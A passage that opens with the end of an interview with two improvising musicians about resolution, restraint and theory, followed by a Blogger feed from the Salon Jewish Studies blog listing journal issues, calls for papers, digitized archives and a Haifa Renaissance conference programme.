notions of structure and resolution are left. Sentimental is important there because I don't want people responding positively because we play a piece that's all over the place formally and then we neatly wrap the ending up with one of maybe five classical endings and ten jazz/pop endings. That way people have these recognizable signposts to say, "Yes there it is! I had seen it as this confusing collection of elements but now that they have so neatly wrapped it up and placed a ribbon on it appears to be gift!" We were just on the road for nine days and the shows were not exactly great until last night at Greh's [Hive Mind]. Spencer Yeh [Burning Star Core] was with us on the tour and he said to us right after as we were packing, "Yep another perfect question mark." And there was no resolution and for me it was an effective piece of music. So it’s important to you to feel like the music you play has no resolution? B: I think, formally, that no resolution is perhaps one of the things that most interests me about all art that thing when it doesn't really stop inside of its own constraints. In paintings it's particularly obvious because as a maker and viewer you're often dealing with this frame and the idea of the frame that leashes the edge and my favourite paintings often seem to begin and end well outside the frame. That is so anti-resolution in my mind and I love that idea of the thing existing outside of that set of parameters and growing in my brain much like the many characters in books whose lives seem to go on and who I still wonder about. What are they doing now? And I think that's one of the best things I could hope for is that, particularly in a live setting, the sound kind of finds a place in a person and continues to resonate in there brains, bodies, etcetera. Way digressive and long-winded answer but I guess in regards to freedom I think a lot more about how to deal with imposed and self-imposed constraints in a constructive rather than reactive way and that in turn might appear as freedom but we are way, way, way into reins and restraint even though we are primarily improvisers. Restraint is the key word between us even though we are not always successful at exercising it. Coming from Music Theory / College backgrounds, are you interested in the theories surrounding the emerging free/noise/drone music? B: I think theory is great so long as it's appropriate. There is still a ton of Cage in what we do and Feldman, Stockhausen and Webern. Those are the ones that Bunny and I share. We are very into this book Zen Mind Beginner's mind, which may as well be treatise on how not to be a self-important, chucklehead improviser. That helps us a lot. But mostly I think in combination to certain approaches of Zen, it's just about voicings in the orchestral sense. But being a trio or duet, or better yet something short of an orchestra, we just try to maximize the voicings in our respective and collective vocabularies to allow for a sound that is both large and succinct at once. In that way I think we're basically just trying to pull out the largest dynamic, timbral, melodic, harmonic and rhythmic ranges so that we can use any piece of that at any time as a means to an end like any other composer making choices and drawing from the range of realistic possibilities. Of course we do this in a small group setting, which is where a lot of very particular silence and spaces arise in our music. H: Very interested. It's interesting to see and be a part of a group of listeners and players who seem to be so focused on extremes, because it opens up a lot of space for people to explore. Because those three genres (which are all quite different) are already so much a synthesis of so many disparate idioms and backgrounds, there already seems to be a new set of standards and relationships emerging. It's quite an experience, for example, to be playing on the road with Wolf Eyes, and to have a warehouse full of people pack around our quiet, acoustic music and be just as intent and focused as when they're thrashing and screaming twenty minutes later to “Village Oblivia”. That sort of environment is exciting to inhabit because it leaves a lot of space for new ideas to be presented in accepted in a way that's going to start developing its own set of theories. Can anyone learn to make good music? B: It's like anything else, practice. H: That's a very subjective question. I studied composition for a very brief time under Anthony Coleman, and he said to me once that he genuinely believed that by expanding his ideas of what music could be, he had lost his ability to evaluate it in terms of good or bad. For me, I'm finding that to be an accurate relationship. The more I broaden my concept of what organizations of sound can be considered music, the harder it becomes to place evaluative judgements on what I hear. And even if I did try to say what's appropriate or not, it's still just my taste, which is entirely subjective. So I think that anyone can make good music if they call it music and they call it good. After all, who am I to deny anyone their taste? By Scott McKeating View all articles by Scott McKeating

tag:blogger.com,1999:blog-77659066396565442002022-08-18T06:24:28.155+04:30Salon Jewish Studies/Salon Jüdische Studien - BlogFrank.Schloeffel Blog for Jewish Studies onlineDear Followers of the Salon Jewish Studies Blog,<br /><br />during the last months we were able to finish the work on our <a href="">new website of the Ismar Elbogen Network</a> as well as the <a href="">new blog for Jewish Studies</a>.<br /><br />I would like to ask you to change to the <a href="">new Blog</a> to get news updates on Jewish archival and library collections, Jewish Studies events, the status of the working process of <a href="">Jewlib. Digital Archive-Library</a> etc..<br /><br /><div>You can subscribe to the <a href="">blog via rss</a> as well as via email. Please use the formular on the right bottom for email-subscription.</div><div><br /></div><div>Kind regards,</div><div><br /></div><div>f.</div>Frank.Schloeffel for Articles (PaRDeS 2011) - Ghetto: Space and Borders in Judaism<div style="text-align: justify;"><a href=""><b>PaRDeS. Journal of the association of Jewish Studies e.V.</b></a> aims at documenting the</div><div style="text-align: justify;">multifaceted culture of Judaism and its connections to diverse areas of research. The journal is meant to promote an interdisciplinary dialogue necessary within the field of Jewish Studies.We hereby warmly welcome articles or essays for our next special issue: Ghetto: On Space and Borders in Judaism, that will be published in spring 2011. Referring to two historical forms of ghettos: the enclosed Jewish living quarters in the modern age and the national socialist ghettos – the ghetto has become the symbol of oppression par excellence. This usage of the term has led to a monotonous research discourse, coloured by the victim-perpetrator-paradigm. More recently however, attempts have been made to change this. Thus, the ghetto as phenomenon has been analyzed with concepts like "Lebenswelt",experience and construction of space, and with an explicit awareness of the ambivalent natureof space and borders. For instance: the positive potential of borders to initiate cultural processes and to preserve culture within the ghetto, has been taken into consideration.A steadily growing interest in the philosophical thinking on ghetto as concept, as well as in the historical notions of ghettos, and how they are reflected in literature and arts, indicates shift of perspective within the research. The more differentiated view, (illustrated above with the problematization of the border concept), have evoked new questions and problems, which resist the scientific tendency to reduce Jewish history and culture to a discourse of oppression and persecution. With this call for articles (and the upcoming issue of <a href="">PaRDeS</a>) we support the endeavour to differentiate and improve the scientific discussion of the subject ghetto. Conveying interdiciplinarity: We welcome contributions from various fields of research, that transgress the often narrow discipline borders, and combine different perspectives. The articles should:</div><ul><li>reflect the term ghetto while dealing with the various usage of the term or</li><li>analyze the reflection on ghetto on a cultural, social and/or mental level or</li><li>question theoretical approaches of research on ghetto/s</li></ul><div style="text-align: justify;">Articles in German or English should contain between 15 and 20 standard pages (12pt, 1.5 line spacing). Essays in German or English should contain about 5 standard pages (12pt, 1.5 line spacing). Editorial deadline is the 15th of January 2011; the journal will be published in March 2011. If you are interested in submitting an article or essay please send a synopsis (1- 1½ pages) until the 15th of March 2010. <br /><br />If you have further questions please do not hesitate to contact our Editorial team: Rebekka Denz, [email protected] <br />Grażyna Jurewicz, [email protected]<br /><br />Please send your application and synopsis (deadline: 15th of March 2010) to both e-mail-addresses: [email protected], [email protected]<br /><br />Reviews on different topics of Jewish Studies are published in PaRDeS as well. Please contact Daniel Jütte, who is in charge of the reviews in our journal: [email protected].<br /><br />Webpage of the Association of Jewish Studies e.V.:</div><div style="text-align: justify;"><a href=""><b></b></a></div>Frank.Schloeffel Issue 5/2009 OnlineThe <a href=""><b>new Medaon Issue (5/2009)</b></a> is online available now.<div><br /></div><div>Content:</div><div><br /></div><div>Articles</div><div><ul><li>Georg Lilienthal | Jüdische Patienten als Opfer der NS-„Euthanasie“-Verbrechen</li><li>Mathias Berek | Schnittpunkt sozialer Kreise statt völkischer Verwurzelung – Die Entstehung moderner Sozialtheorie aus der deutsch-jüdischen Lebenswelt des 19. Jahrhunderts am Beispiel Moritz Lazarus</li><li>Meik Zülsdorf-Kersting | „Weil das ebend die Befehle sind“. Jugendliche erklären das Täterhandeln im Holocaust. Empirische Befunde</li><li>Nadja Bennewitz | Zwischen Repression, Resistenz und Migration. Alltag jüdischer Frauen im Nationalsozialismus im Spiegel des Nürnberg-Fürther Gemeindeblattes</li><li>Susanne Blumesberger | Von Giftpilzen, Trödeljakobs und Kartoffelkäfern – Antisemitische Hetze in Kinderbüchern während des Nationalsozialismus</li></ul><div><br />Miscellaneous</div></div><ul><li>“Very much more still needs to be done.” Holocaust Studies: Aspects of research and actual tendencies. An Interview with Yehuda Bauer by Michael Wildt</li><li>Henriette Kunz | Die völkisch-antisemitische Subkultur Dresdens um 1900 – Literaturbericht 1993-2009</li><li>Jana Mikota | Jüdische Schriftstellerinnen – wieder entdeckt: Auguste Hauschner</li></ul><div><br /></div><div>Sources</div><ul><li>Kai Drewes | Leiden am jüdischen Namen. Ein Brief des Fontane-Freundes Georg Friedlaender an den Chef des Preußischen Heroldsamtes</li></ul><div><br /></div><div>and many reviews...</div><div><br /></div>Frank.Schloeffel - Jewlib Digital Archive Library<div style="text-align: justify;">As some of you obviously noticed, there was a break in publishing new posts on the <a href="">Salon Jewish Studies Blog</a> during the last months. The reason is, that we are working on a new project, called <a href=""><b>Jewlib - Digital Archive Library of Primary Sources for Jewish History and Cultures</b></a>. This project is a work in progress, like the Salon Jewish Studies. The aims of the project are (among others):</div><div><ul><li style="text-align: justify;">the inter-connection of data on Jewish Studies research collections by embedding the data in a larger context; see: <a href=""></a></li><li style="text-align: justify;">creation of topic-oriented "views" to, e.g. <a href="">Judaica-owners</a>, <a href="">personal paper collections</a> or <a href="">private book collections</a></li><li style="text-align: justify;">creation of topic-oriented platforms on Jewish Studies fields, e.g. <a href="">Jewish Studies Research</a>, <a href="">Jewish Press </a></li></ul><div style="text-align: justify;">Please notice, that some parts of the project have just started. For this reason there are a few content-related gaps. But, we are working on it ;) </div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">As you also could imagine, the data contribution to <a href=""><b>Jewlib</b></a> takes a lot of time and we cannot publish news frequently to this Blog. For this reason we decided to change to micro-blogging service Twitter in the long term.<b> <a href="">Follow us on twitter</a></b>.</div><div><br /></div></div>Frank.Schloeffel PaRDeS-issue "100jähriges Jubiläum Tel Avivs"<div style="text-align: justify;">On the occasion of Tel Aviv's 100th anniversary also the journal Pardes which is published yearly by the Vereinigung Jüdische Studien e.V., presents a vivid view on "white city on the sands". </div><div style="text-align: justify;">The issue <a href=""><b>PaRDeS : Zeitschrift der Vereinigung für Jüdische Studien e.V. [15 (2009)] = 100jähriges Jubiläum Tel Avivs</b></a> includes following articles and essays:</div><div><ul><li style="text-align: justify;">Anita Shapira - Tel Aviv, a White City on the Sands</li><li style="text-align: justify;">Philipp Messner - Tel Aviv und die Revolution des hebräischen Schriftbilds</li><li style="text-align: justify;">Sarah Wittkopf - Von der Einwanderung der Jekim zu ihrer politischen Partizipation bei den Wahlen zum Tel Aviver Stadtrat im Jahr 1936</li><li style="text-align: justify;">Ulrich Knufinke - Building a Modern Jewish City: Projects of the Architect Wilhelm Zeev Haller in Tel Aviv</li><li style="text-align: justify;">Elvira Grözinger - Tel Aviv in der neueren israelischen Literatur: Von der Weißen Stadt am Meer“ zum „Moloch“</li><li style="text-align: justify;">Nir Mualam - Debating Historic Preservation in Israel: The Case of Tel Aviv </li><li style="text-align: justify;">Yona Ginsberg - Regulating Public Space: The “Religious” Beach of Tel Aviv</li><li style="text-align: justify;">Rick Kuhn - Jüdischer Antizionismus in der sozialistischen Bewegung Galiziens</li><li style="text-align: justify;">Nathanael Riemer - Jüdische Friedhöfe in Europa – Ein Plädoyer für Online-Dokumentationen</li><li style="text-align: justify;">Admiel Kosman - What did Cain say to Abel? </li></ul><div style="text-align: justify;"><br /></div><div style="text-align: justify;">Furthermore it contains a huge number of reviews.</div></div><div style="text-align: justify;"><br /></div><div><br /></div>Frank.Schloeffel Metropolitan University East End Archive: The Paul Trevor Collection-size:85%;">(<a href="">Blooms restaurant</a>, Copyright © 2007 Paul Trevor)<br /></span></div><br /><div style="text-align: justify;">Photographs from the <a href="">Paul Trevor Collection</a> are available online via <a href="">VADS</a>: ." The online collection contains a few pictures documenting Jewish daily life in the area.<br /></div>Frank.Schloeffel titles in the Historic Jewish Press project<div style="text-align: justify;">In the framework of the <a href="">Historic Jewish Press</a> project at the <a href="">JNUL</a> the Jewish newspapers <a href="">Davar</a> (1925-1968), <a href="">Ha-Zvi</a> (1884-1915) and <a href="">La Liberté / El Horria</a> (1915-1922) have been digitized. Now ten newspapers are available online.<br /></div>Frank.Schloeffel on Tel-Aviv in the Eliasaf Robinson Collection<div style="text-align: justify;"><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href=""><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 108px;" src="" alt="" id="BLOGGER_PHOTO_ID_5348814169940000002" border="0" /></a>The comprehensive <a href="">Eliasaf Robinson Collectio</a><a href="">n</a> on the history of Tel-Aviv at Stanford University Libraries includes a number of digitized <a href=""><span style="font-weight: bold;">books, brochures and serials</span> </a> that are now available online. The quality of the material in general is rather good. Some of it is "grey literature" that is hard to find in libraries. Most of the texts are in Hebrew, some in Yiddish. There are some German and English titles too. Some examples:<br /></div><br /><ul><li><p style="margin-bottom: 0cm;"><span style="font-size:100%;"><span lang="de-DE">Keren Hayesod (ed.), </span><a href=""><span lang="de-DE"><i>Tel-Aviv [English]</i></span></a><span lang="de-DE"><span style="font-style: normal;">, Jerusalem 1926.</span></span></span></p> </li><li><p style="margin-bottom: 0cm;"><span style="font-size:100%;"><span lang="de-DE">Jehuda Nedivi, </span><a href=""><span lang="de-DE"><i>Tel-Aviv [German]</i></span></a><span lang="de-DE"><span style="font-style: normal;">, Jerusalem 1929.</span></span></span></p> </li><li><p style="margin-bottom: 0cm;"><span style="font-size:100%;"><span lang="de-DE"></span><a href=""><span lang="de-DE"><i>Maccabiah 1932: 28. March - 6. April, Tel-Aviv</i></span></a><span lang="de-DE"><span style="font-style: normal;">.</span></span></span></p> </li><li><p style="margin-bottom: 0cm;"><span style="font-size:100%;"><span lang="de-DE">Worl Union for Gymnastics & Sport </span></span>"<span style="font-size:100%;"><span lang="de-DE">Maccabee</span></span>"<span style="font-size:100%;"><span lang="de-DE"> (ed.), </span><a href=""><span lang="de-DE"><i>First Maccabiah, Palestine 1932</i></span></a><span lang="de-DE"><span style="font-style: normal;">.</span></span></span></p> </li><li><p style="margin-bottom: 0cm;"><span style="font-size:100%;"><span lang="de-DE">G. Hanoch, </span><a href=""><span lang="de-DE"><i>Die jüdische Stadt Tel Aviv</i></span></a><span lang="de-DE"><span style="font-style: normal;">, Jerusalem 1932.</span></span></span></p> </li><li><p style="margin-bottom: 0cm;"><span style="font-size:100%;"><span lang="de-DE">Zionist Information Bureau for Tourists in Palestine (ed.), </span><a href=""><span lang="de-DE"><i>Guide to New Palestine</i></span></a><span lang="de-DE"><span style="font-style: normal;">, Jerusalem 1933.</span></span></span></p> </li><li><p style="margin-bottom: 0cm;"><span style="font-size:100%;"><span lang="de-DE">Palestine Union (ed.), </span><a href=""><span lang="de-DE"><i>Commercial and Economic Guide of Tel-Aviv, also Jerusalem, with map of Tel-Aviv</i></span></a><span lang="de-DE"><span style="font-style: normal;">, 1933.</span></span></span></p> </li><li><p style="margin-bottom: 0cm;"><span style="font-size:100%;"><span lang="de-DE">A. Z. Ben Jischai, </span><a href=""><span lang="de-DE"><i>Tel Aviv [German]</i></span></a><span lang="de-DE"><span style="font-style: normal;">, Jerusalem 1936.</span></span></span></p> </li><li><p style="margin-bottom: 0cm;"><span style="font-size:100%;"><span lang="de-DE"><i><a href="">The Palestine Review</a>, </i></span><span lang="de-DE"><span style="font-style: normal;">1936/37.</span></span></span></p> </li><li><p style="margin-bottom: 0cm;"><span style="font-size:100%;"><span lang="de-DE">E. Mechner, </span><a href=""><span lang="de-DE"><i>The New Palestine in Pictures: Tel Aviv</i></span></a><span lang="de-DE"><span style="font-style: normal;">, Tel Aviv 1937.</span></span></span></p> </li><li><p style="margin-bottom: 0cm;"><span style="font-size:100%;"><span lang="de-DE">Yehuda Nedivi, Benjamin Maisler, Samuel Yeivin, und Martin Feuchtwanger, </span><a href=""><span lang="de-DE"><i>Guide to Tel Aviv - Jaffa</i></span></a><span lang="de-DE"><span style="font-style: normal;">, Tel Aviv 1941.</span></span></span></p></li></ul><br />[Picture: Title of <a href=""><span style="font-style: italic;">ha-Ir Tel-Aviv</span></a>, unknown designer, 1932]pmessner gives millions to preserve Auschwitz<div style="text-align: justify;"><span class="lead">"The European Union will give €4.2 million ($5.9 million) to help preserve Auschwitz, the former Nazi death camp which more than six decades after the World War II is in a state of serious disrepair." <a href="">Read more in the online version of the Jerusalem Post.</a></span><br /><span class="lead"></span></div>Frank.Schloeffel Series - Jews in Business: Myth and Reality<div style="text-align: justify;">The <a href="">Center for Advanced Judaic Studies at University of Pennsylvania</a> started the public podcast series <a style="font-weight: bold;" href="">Jews in Business: Myth and Reality</a>. Three Podcast are available at the moment:<br /><ol><li>Jonathan Karp - A Head Without a Body? Reconstructing the History of Jews in Business</li><li>Evelyne Oliel-Grausz - Kinship, Commerce, and Trade Networks: The Early Modern Sephardic Diaspora</li><li>Adam Teller - Before Rothschild: Jewish Businessmen in Eighteenth Century Eastern Europe</li></ol></div>Frank.Schloeffel: Jews of Arab Culture, 1948-2009<div style="text-align: justify;">The conference <a style="font-weight: bold;" href="">Jews of Arab Culture, 1948-2009</a> will be held from 22 - 24 June 2009 at <a href="">Cambridge University</a>. The conference is organized by the Centre for the Study of Muslim-Jewish Relations (CMJR) and the Department of Middle Eastern Studies.<br /><br />.<br /: </div><ol style="text-align: justify;"><li class="style1"> Maghreb (Morocco, Algeria, Tunisia) </li><li class="style1"> Yemen and the Arabian Peninsula </li><li class="style1"> Iraq, Syria, Lebanon </li><li class="style1"> Egypt, Libya, Sudan </li><li class="style1"> Israel & Palestine </li><li class="style1"> Hebrew literature in Arabic and Arabic literature<br /> in Hebrew: the ideology behind translations." </li></ol><div style="text-align: justify;"><br /></div>Frank.Schloeffel Medaon-Issue Online (German)<div style="text-align: justify;">The <a style="font-weight: bold;" href="">fourth issue of the online-journal Medaon. Magazin für jüdisches Leben in Forschung und Bildung</a> is available. The journal is published by Hatikva - Bildungs- und Begegnungsstätte für jüdische Geschichte und Kultur in Sachsen e.V..<br /><br />An <a href="">article on Digital Jewish Collections and the "Salon Jewish Studies" project</a> was published in that issue.<br /><br /><span style="font-weight: bold;">Content</span><br /><br /><span style="font-style: italic;">Articles <a href=""></a></span><br /><br />Anja Horstmann | „Judenaufnahmen fürs Archiv“ – Das dokumentarische Filmmaterial „Asien in Mitteleuropa“, 1942<br /><br />Ingo Loose | Die Ambivalenz des Authentischen. Juden, Holocaust und Antisemitismus im deutschen Film nach 1945<br /><br />Sabine Haustein, Anja Waller | Jüdische Settlements in Europa. Ansätze einer transnationalen sozial-, geschlechter- und ideenhistorischen Forschung<br /><br />Victoria Hegner | Wenn Migranten religiös werden – Die „Renaissance“ des Chassidismus und die Rolle der baalai teshuva am Beispiel von Chicago<br /><br /><span style="font-style: italic;">Miscellanea <a href=""></a></span><a href=""><br /></a><br />Frank Wolff | Historiography on the General Jewish Labor Bund. Traditions, Tendencies and Expectations<br /><br />Jana Mikota | Jüdische Schriftstellerinnen – wieder entdeckt: Bertha Badt-Strauss auf den Spuren vergessener Jüdinnen in den 1920er und 1930er Jahren<br /><br /><span style="font-style: italic;">Sources <a href=""></a></span><br /><br />Edgar Bönisch, Birgit Seemann | Jüdische Pflegegeschichte in Frankfurt am Main<br /><br />Frank Schlöffel | Digitale jüdische Quellen und ihre Sammlung im Online-Portal Salon Jüdische Studien<br /><br />Heike Liebsch | „Holocaust and Heroism Memorial House“. Ein kleines Privatmuseum in Ariel wartet auf seine wissenschaftliche Auswertung<br /><br />Peter Ambros | Was am Wichtigsten im Leben ist, geht dich nichts an! – Die Welt der Kinder der Überlebenden<br /><br /><span style="font-style: italic;">Education <a href=""></a></span><br /><br /“<br /><br /><span style="font-style: italic;">And reviews <a href=""></a></span><br /></div>Frank.Schloeffel Cologne Archive's collapse XV<div style="text-align: justify;"><span style="font-weight: bold;">Help through the cultural heritage protection organization „Blue Shield“</span><br /.<br />On May 5, 2009 it was reported that in four days nearly 2 (shelf)km were processed. Besides compliments, some supportes at the scene also express critical points (extract from <a href="">Archivalia May 4, 2009</a>):<br /><br />"I noticed that German archivists see their job mainly as administration not tradition (store and prepare heritage)…<br /.<br />The German colleagues did a good job on organizing transport and accommodation for 80 people from abroad.<br /!"<br /><br /><span style="font-weight: bold;">Archival collections recoverd from the intact archive cellar on April 21, 2009</span><br />The fire department recovered 850 (shelf) m of inventory from the intact archive cellar of the collapsed building – mostly newspapers but also parts of private papers and collections.<br />Among others the personal collections of Wallraf and Schneider-Wessling were recovered intactly from archive cellar:<br />" .....<br /.<br />Schneider-Wessling is also happy that his work from the last 50 years is accessible again, originals of plans, competition papers, sketches and much more…” (<a href="">Koelner Stadtanzeiger</a><a href="">, April 21, 2009</a>)<br /><br /><span style="font-style: italic;font-size:85%;" >Former Summaries<br /></span><span style="font-size:85%;"></span><a style="font-style: italic;" href=""></a><span style="font-size:85%;"></span><span style="font-size:85%;"><a style="font-style: italic;" href="">Summary Cologne Archive's collapse XIV, Tuesday April></span><br /></div>Frank.Schloeffel Aspects of the Renaissance: Sources and Encounters An international conference at the University of Haifa, May 11-13, 2009<div style="text-align: justify;">The conference <a style="font-weight: bold;" href="">Hebraic Aspects of the Renaissance</a>, held from May 11-13, 2009 at <a href="">Haifa University</a> ." (via H-Judaic)<br /><br />Timetable:<br /><br /><span style="font-weight: bold;">Day 1</span><br />8:30-9:00<br />Registration and gathering, coffee<br /><br />9:00-9:45<br />Welcome notes<br />Chair: Ilana Zinguer<br />Ambassadeur de France / Attaché Culturel<br />Dean / Rector<br />Ilana Zinguer (Centre de recherche de Civilisation Fran?aise)<br /><br />9:45-10:45<br />Keynote I<br />Chair: Ilana Zinguer<br />Georges Molinié (Président, Sorbonne, Paris IV)<br />Postures et images juives par rapport à la culture baroque<br /><br />Pause-------------------------<br /><br />11:00-12:30<br />Kabbalah I<br />Chair: Bernard Cooperman<br />Lina Bolzoni (Scuola Normale di Pisa)<br />Giulio Camillo’s Memory Theatre and the Kabbalah<br />Roni Weinstein (University of Pisa)<br />Sixteenth-Century Jewish Mysticism as a Catholic Baroque Phenomenon<br />Yossi Chajes (University of Haifa)<br />It's Good to See the King : Toward an Historical Anthropology of Early Modern Jewish Cosmological Cartography<br /><br />12:30<br />Lunch break<br /><br />14:00-15:30<br />Kabbalah II<br />Chair: Lina Bolzoni<br />Bernard Cooperman (University of Maryland)<br />Kabbalistic Enthusiasms of a Rabbi for Hire. The Sermons of Isaac di Lattes<br />Sheila Rabin (St. Peter's College)<br />Pico, Astrology, and Kabbalah<br />Dvora Bregman (Ben Gurion University)<br />Notes on the Poetry of Moses Zacuto<br /><br />Pause-------------------------<br /><br />15:45-17:30<br />Religious Identities and Contexts I<br />Chair: Frank Lestringuant (Paris Sorbonne)<br />Ilana Zinguer (University of Haifa)<br />L'implicite à propos des Juifs de Rome (Journal de Voyage, Montaigne)<br />Annie Molinié (Sorbonne, Paris IV) and<br />Béatrice Perez (Université de Rennes)<br />Les premiers jésuites d'origine "conversa" (deuxième moitié du XVIe siècle): Diego Lainez, Polanco et les autres<br />Giuseppe Veltri (University of Halle)<br />Defining Jewish “Rituals” in the Early Modern Period: History of a Philosophical-Political Concept<br /><br />17:30-18:00<br />Coffee break-------------------------<br /><br />18:00-19:00<br />Keynote II<br />Chair: Abraham Melamed<br />Joanna Weinberg (Oxford University)<br />Jewish Wisdom and the Limits of Christian Hebraism<br /><br />20:00<br />Reception (Consul de France, Haifa)<br />Frank Lestringant (Sorbonne, Paris IV)<br />Kabbale et cosmographie, de Guillaume Postel à Jacques d'Auzoles-Lapeyre<br /><br /><span style="font-weight: bold;">Day 2</span><br />8:30-9:00<br />Gathering, coffee<br /><br />9:00-10:30<br />Hebraism, Poetry, and Drama I<br />Chair : Ofir Haivry (The Shalem Center)<br />Lauren Silberman (CUNY)<br />Aaron, The Brother Who Proves the Rule: Typological Negotiations in Titus Andronicus<br />Konrad Eisenbichler (University of Toronto)<br />Ancient Israel in the Religious Theatre of Renaissance Italy<br />Nancy Rosenfeld (University of Haifa)<br />'The Law of Moses as well as the Devil, Death, and Hell': John Bunyan and Christian Kabbalah<br /><br />Pause-------------------------<br /><br />10:45-12:45<br />Hebraism, Poetry, and Drama II<br />Chair: Dvora Bregman (Ben Gurion University)<br />Elliott Simon (University of Haifa)<br />From Maimonides to Sir Philip Sidney: The Poet’s Prophetic Voice<br />Chanita Goodblatt (Ben Gurion University )<br />"Thy Firmness makes my Circles Just/And makes me end, where I begunne": Abraham Ibn Ezra and John Donne as Poet-Exegetes<br />Noam Flinker (University of Haifa)<br />“Free as the Road”: George Herbert’s Hebraic Texts<br />Philip Ford (Cambridge University)<br />The Place of Hebrew Poetry in the Teaching of Charles Utenhove<br /><br />12:45<br />Lunch break-------------------------<br /><br />14:15-15:45<br />Hebraism and Scholarship I: Antiquarianism and Philology<br />Chair : Philip Ford (Cambridge University)<br />Arthur Eyffinger (Huygens Institute)<br />Biblical Philology at Leiden University<br />Daniel Stein-Kokin (Yale University)<br />Egidio da Viterbo and Christian Hebraism in High Renaissance Rome.<br />Jonathan Elukin (Trinity College Hartford)<br />The Urim and Thumim and Christian Hebraism<br /><br />Pause-------------------------<br /><br />16:00-17:30<br />Hebraism and Scholarship II: Chronology and Geography<br />Chair : Jonathan Elukin (Trinity College Hartford)<br />Avner Ben Zaken (Harvard Society of Fellows)<br />Hebraist Motives, Pythagorean Itineraries, and the Galilean Agendas of Naples: On the Margins of Text and Context<br />Zur Shalev ( University of Haifa)<br />Benjamin of Tudela, Spanish Discoverer<br />Fabrizio Lelli (University of Lecce)<br />The Role of Early Renaissance Geographical Discoveries in Yohanan Alemanno’s Messianic Thought<br /><br />17:30-18:00<br />Coffee break-------------------------<br /><br />18:00-19:15<br />Religious Identities and Contexts II<br />Chair: Myriam Yardeni (University of Haifa)<br />Sina Rauschenbach (University of Halle)<br />Dealing with Jewish Knowledge: Menasseh Ben Israel and the Christian Respublica Litteraria<br />Alessandro Guetta (INALCO – Paris)<br />The Debate on the Immortality of the soul in Early Modern Italy:<br />a symptom of closer Jewish-Christian dialogue?<br /><br /><span style="font-weight: bold;">Day 3</span><br />8:30-9:00<br />Gathering, coffee<br /><br />9:00-10:45<br />The Hebrew Language and Its Practice<br />Chair: Noam Flinker (University of Haifa)<br />Arthur Lesley (Baltimore Hebrew College)<br />Yohanan Alemanno's Formulation of Hebrew Rhetorical Practice.<br />Kenneth Stow (University of Haifa)<br />Negotiating Self-Governance: Hebrew in the Service of Running the Jewish Universit?.<br />Yaacov Deutsch (Hebrew University and Center for Jewish Studies at Harvard University)<br />Converting the New Testament: Hebrew Translations of the New Testament in the Early Modern Period<br /><br />Pause-------------------------<br /><br />11:00-12:30<br />Hebraism and Political Theory I<br />Chair: Arthur Eyffinger (Huygens Institute)<br />Lea Campos Boralevi (University of Florence)<br />The Rise and Fall of the Respublica Hebraeorum as a Political Model in Early Modern Europe<br />Meirav Jones (The Shalem Center)<br />Philo Judaeus and Jewish Harmony in Grotius’ Laws of War and Peace<br />Yitzhak Lifshitz (The Shalem Center)<br />The Revival of the ideas of Medieval Ashkenaz in the 15th Century Political Thought of R. Yisrael Iserlin<br /><br />12:30<br />Lunch break<br /><br />14:00-15:00<br />Hebraism and Political Theory II<br />Chair: Zur Shalev (University of Haifa)<br />Ofir Haivry (The Shalem Center)<br />Jewish Sources of John Selden’s Idea of Church-State Relations<br />Fania Oz-Salzberger (University of Haifa)<br />The social reading of the Bible by English thinkers of the mid 17th century<br /><br />Coffee break-------------------------<br /><br />15:15-16:45<br />Isaac Abravanel<br />Chair : Arthur Lesley<br />Cedric Cohen Skalli (Tel Aviv University)<br />Isaac and Yehudah Abravanel on Genesis: A Case of Jewish Reception of Florentine Platonism<br />Vasileios Syros (University of Helsinki)<br />The Political Function of Rhetoric in Don Isaac Abravanel’s Political Thought<br />Abraham Melamed (University of Haifa)<br />The Reception of Abravanel in Early Modern Political Thought<br /><br />16:45-17:15<br />Coffee break-------------------------<br /><br />17:15-18:15<br />Yehudah Abravanel<br />Chair : Georges Molinié (Sorbonne, Paris IV)<br />Tristan Dagron (CNRS-Paris)<br />Giordano Bruno, lecteur des Dialoghi d’amore de Leone Ebreo<br />James W. Nelson Novoa (Villanova University)<br />Leone Ebreo’s Diologhi d’amore as a Pivotal Document of Judeo-Christian Relations in Renaissance Rome<br /><br />18:15-17:00<br />Ending Note<br />David Baum (West Texas State A&M University)<br />Anti-Semitism, Race and the Renaissance in Fascist Italy<br /></div>Frank.Schloeffel Judaica at the Austrian National Library available online<div style="text-align: justify;"><a style="font-weight: bold;" href="">A list of a wikipedia user</a> reveals that (among others) publications of Theodor Herzl and Max Brod are available through the website of the <a href="">Austrian National Library (ÖNB)</a>. Furthermore some <a style="font-weight: bold;" href="">Juedische Presse issues of the year 1938</a> can be found within <a href="">the huge collection of </a><a href="">Austrian historical journals and newspapers - ANNO</a>.<br /></div>Frank.Schloeffel von Grünenberg: Beschreibung der Reise von Konstanz nach Jerusalem available online<a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href=""><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 284px; height: 402px;" src="" alt="" border="0" /></a><br /><div style="text-align: justify;">The written work <a href=""><strong>Konrad von Grünenberg: Beschreibung der Reise von Konstanz nach Jerusalem</strong></a> (1487) describes a typical journey of a society of pilgrims during the 15th century. Besides beautiful hand drawings the book reveals many topographic details of the holy land. The book was digitized by the <a href="">Badische Landesbibliothek, Karlsruhe</a>. (via Archivalia@Twitter)<br /></div>Frank.Schloeffel on Antisemitism podcast series - David Pilgrim (Chief Diversity Officer and Professor of Sociology, Ferris State University)<div style="text-align: justify;">A new podcast <a href=""><span><span style="font-weight: bold;">David Pilgrim (Chief Diversity Officer and Professor of Sociology, Ferris State University;</span></span></a><span style="font-weight: bold;"> <a href="">founder of the Jim Crow Museum</a></span><span style="font-weight: bold;"><a href=""> of Racist Memorabilia</a><span style="font-weight: bold;">)</span></span> is available on <a href="">U.S. Holcaust Memorial Museum website</a>.<br /><br />DAVID PILGRIM:<br />The Jim Crow Museum is a collection of anti-black, civil rights, and segregation memorabilia. I was the original donor. People ask me, "When did you start collecting and why?" And I've always collected what I call "contemptible collectibles." I collected objects that I thought would demonstrate how those racist ideas permeated our culture. And so you would have an ashtray for example with an image of an African American in the middle of it with fire, red lips and wild, darting eyes and mismanaged hair, kind of a crazed look. But I hesitate to give you that characterization because there are so many caricatures of African Americans. So, for example, the so-called tragic mulatto imagery would look very different from the Tom or the Sambo or the mammy or the pickaninny. So it's a little bit disingenuous to describe a so-called typical piece, because there's just so many ways that the features, the physical 